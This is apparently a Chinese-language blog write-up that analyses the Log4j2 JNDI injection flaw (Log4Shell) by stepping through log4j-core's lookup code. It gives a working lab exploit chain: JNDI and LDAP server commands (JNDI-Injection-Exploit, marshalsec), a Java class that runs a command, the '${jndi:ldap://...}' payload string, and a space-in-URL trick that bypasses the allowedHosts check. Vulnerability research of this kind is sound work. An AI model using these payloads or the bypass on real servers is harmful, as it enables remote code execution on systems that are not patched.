log4j2

这里我们先构造一个jndi server

https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1

image-20230112225436268

添加 log4j2的xml

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>

解析之后会有两个jar包

image-20230111215645658

<?xml version="1.0" encoding="UTF-8"?>

<configuration status="error">
<appenders>
<!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
<Console name="Console" target="SYSTEM_OUT">
<!-- 配置Console的模式布局-->
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
</Console>
</appenders>
<loggers>
<!-- 用来单独指定日志的形式-->
<root level="error">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>

我们先来一个最简单的payload

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);

public static void main(String[] args) {
String a = "${jndi:ldap://127.0.0.1:1389/0910hs}";
logger.error(a);
}
}

image-20230112225756021

我们这里先找到终点 查看一下调用栈

image-20230112235711649

这里可以看到 日志如果需要打印的话就执行 logMessage()

image-20230112230109603

这里也可以简单的想到 日志肯定是需要按照配置的等级进行输出的 如果满足适当的条件才会输出

image-20230112230219924

这里进入 isEnabled 查看下

这里也可以看到传入了日志的配置文件

image-20230112230342561

如果满足条件就需要输出

image-20230112230635965

这里通过一堆的调用逻辑 这里调到了 directEncodeEvent() 接下来就是 将getLayout的模板字符填充进去了

image-20230112230915416

这里调到了 formatters.format 根据名字也可以判断处理就是对 模板字符的替换

image-20230112231514362

这里的 buffer 即是最后的字符串 这里我们跳到 messagePatternConverter的 format方法

image-20230112232548620

注意这里的noLookups

image-20230113000815907

可见默认值是false 是可以使用lookup的

image-20230113002510510

这里如果判断是以${开头就去调用config.getStrSubstitutor().replace 替换其中的内容

image-20230112234135605

接着经过一系列的判断来到了这里

image-20230112234342295

这里就是最后的终点了 根据之前配置的 strLookupMap 去获取对应的 lookup对象 那么这里也就是 jndi lookup

image-20230112235154829

image-20230112235648791

image-20230113141829350

image-20230113141840577

image-20230113172325356

将 api 和 core 编译成jar包

依旧跟一下执行流程 这里可以看一下这里的 MessagePatternConverter

image-20230113203511358

这里可以发现 调用的是内部类 SimpleMessagePatternConverter 的format方法

image-20230113203751179

这里可以发现还有一个 LookupMessagePatternConverter 回去解析 其中的${

image-20230113203909095

但是我们需要converter 对象为 LookupMessagePatternConverter 这个类

image-20230113204010468

这里可以看到 public static MessagePatternConverter newInstance 静态方法 还有 lookups 必须要不为空 可以看到这里的lookups 是根据 options来判断的

image-20230113204045223

判断数组里是否有 lookups

image-20230113204817611

在 newInstance这里下断点

image-20230113204932529

这里可以看到是通过 extractOptions 进行赋值的

image-20230113204601580

这里根据代码的理解 可以发现是 获取 %d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n 中的{} 的值放到options中

image-20230113205140680

当然这里也可以根据 官方文档去看

image-20230113205418787

那么我们修改xml文件

image-20230113205455749

修改完成之后也是成功赋值

image-20230113205549838

接下来的调用流程和之前是差不多的 可以在JndiLookup lookup 处下断点

image-20230113210031355

在 allowedHosts中定义了一些内网地址 这里是不好直接绕过的

image-20230113210822419

这里的 catch中没有任何操作 没有 return 也就是如果catch到异常之后依然会接着执行下去

image-20230113212254333

因此我们只需要在进行 内网地址验证之前抛出异常即可

换一个工具

https://github.com/mbechler/marshalsec

编译后放到一个目录

import java.io.IOException;

public class Exp {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

开启http服务

python  -m http.server 8000

启动服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/ #Exp" 8088
String a = "${jndi:ldap://127.0.0.1:8088/ Exp}";

image-20230113235953445

这里的原因是在new URI的时候会出现异常

image-20230114000351230

当url中存在 空格会抛出异常